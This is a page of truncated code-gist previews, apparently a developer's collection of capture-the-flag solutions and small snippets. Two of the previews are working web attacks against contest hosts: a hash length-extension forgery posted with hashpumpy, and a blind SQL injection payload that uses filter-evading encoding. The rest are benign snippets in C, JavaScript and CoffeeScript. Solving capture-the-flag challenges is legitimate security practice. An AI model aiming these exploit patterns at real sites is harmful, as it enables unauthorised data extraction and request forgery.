This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc -O3 solve.c -o solve | |
#include <stdio.h> | |
int sBox[4][16] = { | |
{ 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9 }, | |
{ 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6 }, | |
{ 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14 }, | |
{ 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3 } | |
}; | |
int sBoxInv[4][16] = { | |
{ 13, 3, 0, 10, 2, 9, 7, 4, 8, 15, 5, 6, 1, 12, 14, 11 }, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import hashpumpy # https://github.com/bwall/HashPump | |
import requests | |
from urllib.parse import quote | |
url = 'http://web.angstromctf.com:1340/' | |
t = hex(int(time.time()))[2:] | |
hash, data = hashpumpy.hashpump('3eb9feb38c75cae1d4526ba7f7b91393b190ef48d5bd3502711a1fc23cba2ff3', '5709b5ed', t, 64) | |
print(requests.post(url, data={ | |
'data': quote(hash.encode() + data).replace('%80', '%C2%80') | |
}).content.decode('ascii')) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
def check(s): | |
return b'1108' in s | |
payload = "1 Procedure Analyse (Extractvalue (0, case when (Select substr(c.b, {}, 1) <= 0x{:02x} From (Select 0x41 a,0x42 b Union Select * From users limit 1 offset 3)c) then 0x2f else 0x40 end), 1)#".replace(' ', '%a0').replace('#', '%23') | |
url = 'http://spacesec.quals.nuitduhack.com/index.php?offset=' | |
result = '' | |
i = 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
['2 1 14 16 23 20', '2 1 15 6 4 23', '2 1 15 6 8 6'].forEach(function (s) { | |
console.log(parseInt(s.split(' ').map(function (n) { | |
return parseInt(n, 10).toString(25); | |
}).join(''), 25)); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Notification.requestPermission(function callback(res) { | |
if (res === 'denied' || res === 'default') { | |
console.error('ア'); | |
return; | |
} | |
window.setTimeout(function () { | |
new Notification('title', {body: 'body'}); | |
}, 3000); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
javascript:location.href=location.href.match(/(.+?)(?::[0-9A-Za-z]+)?$/)[1]+':orig'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (!(String.prototype.startsWith)) { | |
String.prototype.startsWith = function (s) { | |
return this.slice(0, s.length) === s; | |
}; | |
} | |
function output(url) { | |
var out = document.getElementById('output'); | |
var img = new Image(); | |
img.src = url; | |
img.addEventListener('load', function () { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/わかば*ガール/.test('わかばばばばガール') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc -masm=intel rep_stosd.c -o a | |
#include <stdio.h> | |
char s[16] = "Hello, world!"; | |
int main(void) { | |
printf("[+] %s\n", s); | |
asm volatile( | |
"mov eax, 0x44434241;" | |
"mov ecx, 0x2;" | |
"lea edi, [s];" | |
"rep stosd" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Complex | |
constructor: (re=0, im=0) -> | |
if not(this instanceof Complex) | |
return new Complex re, im | |
this.re = re | |
this.im = im | |
conjugate: (other) -> | |
new Complex @re, -@im | |
add: (other) -> | |
[re, im] = [@re + other.re, @im + other.im] |